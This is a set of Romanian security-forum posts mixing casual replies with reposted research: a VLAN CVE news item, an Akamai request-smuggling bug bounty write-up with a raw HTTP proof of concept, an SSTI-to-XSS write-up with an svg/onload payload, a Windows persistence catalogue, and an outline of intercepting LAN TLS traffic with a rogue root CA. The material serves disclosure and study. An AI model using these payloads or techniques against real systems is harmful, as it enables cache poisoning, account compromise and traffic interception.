Nytro

Mai e putin, o sa fim usor de recunoscut: grupuri cu glume proste, non-work related (sau semi - e.g. ce buna e tipa aia, mi-as injecta shellcode-ul in ea), care probabil beau si nu le pasa de ce se intampla in jur. Veniti la noi (de preferat nu cu mana goala, ceva de beut, orice e apreciat).

Gata, am reparat tema, JS si CSS de cacat.

Update PHP si versiune IPB pare insa ca tema tot e crapata.

Nu il foloseste nimeni, intreaba pe forum daca vrei sa afli ceva ca te pot ajuta mai multe persoane.

Salut, ai foarte multe resurse la dispozitie pe Internet, inclusiv aici pe forum in zonele tehnice (e.g. Tutoriale engleza) dar ai nevoie de o baza. Eu iti recomand cartea "Introduction to Penetration Testing" care acopera destul de multe lucruri. Dupa ce prinzi bazele o sa iti fie mai usor sa alegi o cale. Phishing-ul nu cred ca este ceea ce trebuie, nici nu e nevoie de un tool pentru asa ceva. Si e ceva ce poate duce usor la probleme. Spune-ne ce urmaresti de fapt si incercam sa te ajutam, am vazut ca esti tanar si riscul sa o iei pe un drum gresit si sa ai probleme e mare. Nu face prostii ca nu are sens, nu merita.

Incearca un alt browser, gen Internet Explorer, e posibil ca un browser modern sa nu foloseasca o versiune veche de SSL/TLS. Asta poti gasi si in setarile browserului (desi nu prea pare). Ma gandesc ca routerul vine cu SSL2/3... In Firefox scrie: about:config si cauta "tls" acolo ai "security.tls.version.min". Schimba valoarea in "1" sau "0" si vezi daca merge asa.

Evolueaza si spamul, nice.

Daca ai un training set bun (supervised) in care marchezi multe imagini pe aceste categorii ar trebui sa le invete cat de cat. Nu ma pricep la subiect dar ar trebui sa fie facubil, acuratetea depinde de model.

Pe Youtube ai putea face insa e greu sa ajungi sa castigi bine, sunt destul de puitini care castiga bine pe Romania. In rest din punctul meu de vedere nu merita efortul, cel mai simplu, iti iei un job si nu ai griji.

Nu recomand un RAT care nu stii ce face. O aplicatie gen Bitdefender sau ceva de incredere care ofera aceste functionalitati, desi costa cativa dolari, poate merita banii.

Solutia ideala: Iti alegi in sala/laborator un loc in mijloc si intorci capul spre monitoarele celorlati. Solutia mai dificila nu prea exista. Fiind o retea locala poti face Man in The Middle dar nu poti prinde traficul criptat deoarece TLS. Ai avea nevoie sa generezi un root CA pe care sa il instalezi pe toate calculatoarele si la accesarea unui site sa generezi la runtime un server certificate valid (semnat de acel root CA) pentru ce cauta user-ul. Asta daca nu se fac validari mai detaliate de certificate (SSL/TLS pinning). Asta daca nu ai probleme cu MiTM-ul (mai merge ARP spoofing?). Insa si asa trebuie targetat atacul ca daca vin 20 de PC-uri cu trafic spre tine si vrei sa faci toate porcariile astea ai nevoie totusi de un PC puternic. Hint: Nu e ceva user-friendly, sa descarci ceva program, sa dai 2 click-uri si bum, Hackerman. Daca iti iese ai o bere de la mine.

Cumperi DNS (daca e folosit de mai multi) sau il pui in etc/hosts. Certificat valid poti obtine free cu letsencrypt (IP public, DNS valid) sau self-signed dar inutil cu openssl.

Serverul web ar trebui sa logheze URL-ul accesat, browser-ul, IP si alte cateva informatii. Aces log se poate modifica din config-ul serverului web pentru a loga mai multe detalii insa daca sunt multe request-uri se poate umple storage-ul. Se pot arhiva automat log-urile, se poate scripta ceva, exista solutii pentru orice.

Oh si mai era ala cu Delia, pentru cunoscatori

Interesant, nu prea stiu ce sa zic

Mai sunt cateva ore pana se scumpesc biletele: https://def.camp/tickets/

Daca zice Bogdan, merg pe mana lui.

Frumos, sunt curios cat o sa plateasca pentru ele.

Ethernet VLAN Stacking flaws let hackers launch DoS, MiTM attacks By Bill Toulas September 28, 2022 Four vulnerabilities in the widely adopted 'Stacked VLAN' Ethernet feature allows attackers to perform denial-of-service (DoS) or man-in-the-middle (MitM) attacks against network targets using custom-crafted packets. Stacked VLANs, also known as VLAN Stacking, is a feature in modern routers and switches that allows companies to encapsulate multiple VLAN IDs into a single VLAN connection shared with an upstream provider. "With stacked VLANs, service providers can use a unique VLAN (called a service-provider VLAN ID, or SP-VLAN ID) to support customers who have multiple VLANs. Customer VLAN IDs (CE-VLAN IDs) are preserved and traffic from different customers is segregated within the service-provider infrastructure even when they appear to be on the same VLAN," explains Cisco's documentation on the feature. The CERT Coordination Center disclosed the flaws yesterday after giving device vendors time to investigate, respond, and release security updates. The vulnerabilities affect networking devices such as switches, routers, and operating systems that use Layer-2 (L2) security controls to filter traffic for virtual network isolation. Cisco and Juniper Networks have confirmed that some of their products are impacted by the flaws, but numerous device vendors haven't concluded their investigation; hence the overall impact remains unknown. Problem details and implications The vulnerabilities exist in the Ethernet encapsulation protocols that allow the stacking of Virtual Local Area Network (VLAN) headers. An unauthenticated, adjacent attacker can use a combination of VLAN and LLC/SNAP headers to bypass L2 network filtering protections such as IPv6 RA guard, dynamic ARP inspection, IPv6 neighbor discovery protection, and DHCP snooping. The four vulnerabilities are: CVE-2021-27853 Layer 2 network filtering capabilities such as IPv6 RA guard or ARP inspection can be bypassed using combinations of VLAN 0 headers and LLC/SNAP headers. CVE-2021-27854 Layer 2 network filtering capabilities such as IPv6 RA guard can be bypassed using combinations of VLAN 0 headers, LLC/SNAP headers in Ethernet to Wifi frame translation, and the reverse Wifi to Ethernet. CVE-2021-27861 Layer 2 network filtering capabilities such as IPv6 RA guard can be bypassed using LLC/SNAP headers with invalid length (and optionally VLAN0 headers). CVE-2021-27862 Layer 2 network filtering capabilities such as IPv6 RA guard can be bypassed using LLC/SNAP headers with invalid length and Ethernet to Wifi frame conversion (and optionally VLAN0 headers). By exploiting any of these flaws independently, an attacker can deceive the target device to route traffic to arbitrary destinations. "An attacker can send crafted packets through vulnerable devices to cause Denial-of-service (DoS) or to perform a man-in-the-middle (MitM) attack against a target network," warns the CERT Coordination Center. The latter is the more severe scenario, as the attacker could observe network traffic and access sensitive information if the data is not encrypted. One thing to note is that in modern cloud-based virtualization and virtual networking products, the L2 network capability extends beyond LAN, so the exposure of these flaws could be extended to the internet. Mitigations and patches Juniper Networks confirmed that CVE-2021-27853 and CVE-2021-27854 impact some of its products and released security updates on August 25, 2022. The company hasn't released a security bulletin about the issues, so all customers are advised to apply security updates to their devices. Cisco released a security bulletin yesterday confirming that many of its network products are impacted by CVE-2021-27853 and CVE-2021-27861. The affected products include switches, routers, and software, but fixes for most of them won't be made available according to the tables in the advisory. Also, end-of-life products have not been evaluated against the flaws, so they may as well be considered vulnerable and replaced as soon as possible. All network admins are advised to scrutinize and limit the protocol used on access ports, enable all available interface security controls, inspect and block router advertisements, and apply vendor security updates as soon as they become available. Sursa: https://www.bleepingcomputer.com/news/security/ethernet-vlan-stacking-flaws-let-hackers-launch-dos-mitm-attacks/

How an Akamai misconfiguration earned us USD 46.000 FRANCESCO MARIANI SEPTEMBER 17, 2022 A few months ago me and my friend Jacopo Tediosi made an interesting discovery about an Akamai misconfiguration that allowed us to earn more than 46,000 dollars. Our research highlighted how manipulating a particular HTTP header made it possible to change the way how proxies communicated with each other and how this allowed us to perform different request smuggling attacks or, in particular cases, allowed us to poison the cache with arbitrary content chosen by us. In this post we will go directly into detail without explaining how these vulnerabilities work in general, hoping that the reader knows what we are talking about. If not, there are so many resources online and even labs to practice with them. Now the question is: how were we able to reveal the misconfiguration? and how was it actually handled by major bug bounty platforms and private companies? Even today you can encounter this header in the response in several Server under the Akamai network. Probably many of you have already understood or had already tried to force the use of Content-Length instead of Transfer-Encoding. But let’s go one step at a time. Once we noticed this particular thing, any attempt to abuse the Connection header with Content-Length as a value to perform a Request Smuggling attack didn’t work. One curious thing we noticed was some unusual responses being provided by Akamai, such as [no URL]. Or, with www.example.com: if we use the same host, the server actually provided different responses, but as many will know it is difficult to determine if it was actually Request Smuggling, HTTP Pipelining, or a normal server behavior by setting the Connection header in keep-alive. Trying to redirect the requests with my co-worker we actually found that it worked. But currently, we only had one potential Denial of Service which is often rejected for lack of impact. Once this was done, we did some tests from a different network to verify that it was an open desync. Only later we discovered that by inserting other host within the Akamai network we were completely able to redirect each other and finally we had a complete request smuggling. This sounds good, but we had a problem. We don’t have a host within Akamai network. How can you prove that through the attack you can arbitrarily redirect users if you don’t have any logs to show? As we continued to try, and luckily for us, we were able to abuse this bug to arbitrarily cache content from other hosts. We also found that, in addition to the GET method, we could use the OPTIONS method to perform the desired attack, moreover, there were more chances that Akamai would not notice that the request was actually malicious. To poison the cache, it was necessary to send a first GET or OPTIONS request to a nonexistent path (also to avoid damage to the platform), preferably with static resource extensions (more likely to be taken from the cache), with the second request to arbitrary hosts. After a couple of requests, the content of the second host’s file was correctly cached due to its revalidation, like this: From then on it was possible to visit the URL /it/it/medusa.txt which returned the robots.txt of the second host. Obviously, the content we decided to cache was not malicious but we could cache many types of files such as html or js. Finally, we had a nice impact for the report. POC: OPTIONS /random.txt HTTP/1.1 Host: ORIGINAL-HOST Connection: Content-Length Content-Length: 42 GET /robots.txt HTTP/1.1 Host: ARBITRARY-AKAMAI-HOST x: 1 by sending the request twice it was possible to cache the contents of robots.txt of the second host. As soon as the discovery was made, we started responsible disclosure, reporting the vulnerability to Akamai. We have not received immediate confirmation from them. While we waited, we realized that not all Akamai hosts were vulnerable or some did not allow arbitrary content caching (they probably had no cache or particular cache key settings that did not allow the attack). We thought maybe it was some general misconfiguration and decided to report it in bug bounty platforms as well. Vulnerability management by bug bounty platforms: Our sincere admiration for the triagers of the Hackerone platform. After a very short time, they were able to replicate and understand the vulnerability by assigning the right severity. Unfortunately, in Bugcrowd many of the triagers were unable to replicate the vulnerability despite providing a oneliner with curls, video POC, screenshots, and more. Some just didn’t put the two blank lines in GET requests, others had wrong burp targets and we have also received duplicated (?). like: We were very disappointed with the Bugcrowd triagers. Microsoft: Microsoft replied very late, saying it was unable to replicate the vulnerability (Akamai had already introduced the security fix). Apple: Apple responded late, and was unable to replicate the vulnerability due to Akamai’s fix. They were very kind and we received thanks by email, but no bounty was paid (we didn’t want any). Intigriti: We only filed a bug, the triager was very nice and friendly, but he gave us a duplicated. THE FIX: Akamai took very little time to get the security fix after our report, now any attempt to use the Connection header in an inappropriate way is automatically blocked. Akamai has given us permission to make a public disclosure. Sursa: https://blog.hacktivesecurity.com/index.php/2022/09/17/http/

Escalating SSTI to Reflected XSS using curly braces {} Hello everyone! My name is Sagar Sajeev and this is my writeup explaining how I was able to escalate a Server Side Template Injection (P4) to a much more severe XSS. Note: For those who haven't heard of Server Side Template Injection or SSTI, I’ll recommend you to get some understanding about SSTI before reading this writeup. I’ve made a specific writeup explaining SSTI. You can check it out by clicking here. Basically, it’s a way to inject something(payload) into the template engine which in turn gets executed on server side. Target Scenario After hours of hardwork of trying to find an endpoint vulnerable to XSS, I finally came to an one which seemed interesting to me. It was exposing a sign up page. What was interesting about this was, it was kept hidden. The url looked something like: https://www.redacted.com/engine/signup/create.php I tried XSS payloads there, but it was filtering everything. It was then I thought of adding curly braces {} to the first name, last name and address field. To my surprise, all three of the fields did not carry out any specific filtering for curly braces. I tried the following payload:- {{ &lt;svg/onload=prompt(&quot;XSS&quot;)&gt; }} I know the payload looks complicated. It’s just that all entities are URL-encoded. This is how decoded payload looks: {{ <svg/onload=prompt(“XSS”)> }} The thing is that, direct payload was not going through for some reason. I had to intercept the request using burp and then add the encoded payload. XSS was fired. Well, the thing is that this is just self-XSS. Self XSS to Stored XSS The target website had a section where you could create projects. Think of the project as a folder where you can store files. The project admin can share this to other “authenticated users”. The project must be given a name and is shared using a link. Well, I named the project with the payload. Thus, now the file name is:- {{ &lt;svg/onload=prompt(&quot;XSS&quot;)&gt; }} Insane bruh moment. No File name restrictions were kept and I could name the project in however way I want. Copy the share project link and sent it to other authenticated users. As I mentioned before, only authenticated users can view the project. So, the application forces the user to login before being able to see the shared project. When an authenticated user clicks on the link, Voilà and here it is! The XSS pop-up. Quick Recap SSTI based Self-XSS payload was created. Self-XSS was escalated to Reflected XSS (differs according to attack scenario). SSTI → Self XSS → Reflected XSS This ,in fact, could be escalated to more severity. The attacker could just create a project and share its link on social media. If ,by chance an authenticated user randomly clicks on the link, XSS could be triggered. My SSTI writeup can be found here:- https://sagarsajeev.medium.com/server-side-template-injection-something-distinct-f0ac234e379 Tips:- Make sure you spend time understanding the target. I spent nearly a week on this target to find this. Don’t keep on changing from one program to another just because you aren’t able to find a specific bug. Make a list of vulnerabilities you have learned and test each of them accordingly. Also, make sure to explain the impact to the highest severity. Let them know of the most potential impact that the vulnerability could have. I recommend you to make notes. May it be handwritten or in Notion. Make sure that you take notes. It will help in the long run. Timeline Submitted : 18–09–2022 Accepted : 19–09–2022 Rewarded with Amazon gift card : 22–09–2022 I do occasionally share some tips about Bug Bounties and related stuff over at my Twitter and LinkedIn handle. So do follow me there. If you’ve got any queries, feel free to message me. I will be more than happy to help. LinkedIn : https://www.linkedin.com/in/sagar-sajeev/ Twitter : https://twitter.com/Sagar__Sajeev Thanks for going through my writeup and I hope it was useful to you. I’ve made many other writeups on my Medium handle. Please do check those out as well. Happy Hunting! Sursa: https://sagarsajeev.medium.com/escalating-ssti-to-reflected-xss-using-curly-braces-825685bd93ec

The repository tries to gather an information about Windows persistence mechanisms to make the protection/detection more efficient. Most of the information is well known for years, being actively used within various scenarios. Expect more. I am doing my best to add new entries each day. How it works. And how to contribute. 👨‍💼 HKCU Run and RunOnce registry keys 👨‍💼 ⚙ Task Scheduler ⚙ Image File Execution Options key ⚙ Windows Services AeDebug WER Debugger * ⚙ Natural Language Development Platform 6 DLLs * ⚙ GPO Client-side Extension ⚙ Filter Handlers for Windows Search Disk Cleanup Handler 👨‍💼 .chm helper DLL * hhctrl.ocx * ⚙ AMSI Providers ⚙ ServerLevelPluginDll Password Filter Credential Manager DLL ⚙ Authentication Packages Code Signing DLL 👨‍💼 HKCU cmd.exe AutoRun ⚙ LSA Extension ⚙ Winlogon Notification Package ⚙ Print Monitor 👨‍💼 HKCU Load MPNotify ⚙ Windows Platform Binary Table Explorer tools * 👨‍💼 Windows Terminal Profile 👨‍💼 Startup Folder 👨‍💼 User Init Mpr Logon Script * ⚙ Autodial DLL * .NET Startup Hooks 👨‍💼 PowerShell Profiles 👨‍💼 TS Initial Program Want more? Check the list tomorrow. * Based on a research made by @Hexacorn - one of the best persistence hunters. ⚙ It is enough to turn computer on to make the code run. 👨‍💼 End-user can do it. Sursa: https://persistence-info.github.io/

The talk discusses a few techniques that can be applied by Red Team across every stage of the cyber kill-chain to reduce their activities detection rate. Author will share evasion tactics he's been following during recently held engagements One of the toughest hurdles of every Red Team engagement is obviously detection potential of exercised Blue Teams. These teams base their defensive capabilities on systems producing feed of incident events sensing potentially malicious IOCs such as domains, API calls invoked in monitored system or unusual file types. Red Teams aiming to simulate APTs should therefore apply evasion strategies in every step of their designed kill-chain to lower detection rates and increase success rate of accomplishing engagement goals while undetected. For Red Teamer, every stage of the kill chain has its own issues detection-wise. This talk will therefore try to map out some of these detection areas and discuss appropriate evasion strategies combating them.

0dayex-checker Zeroday Microsoft Exchange Server checker (Virtual Patching checker) Sursa: https://github.com/VNCERT-CC/0dayex-checker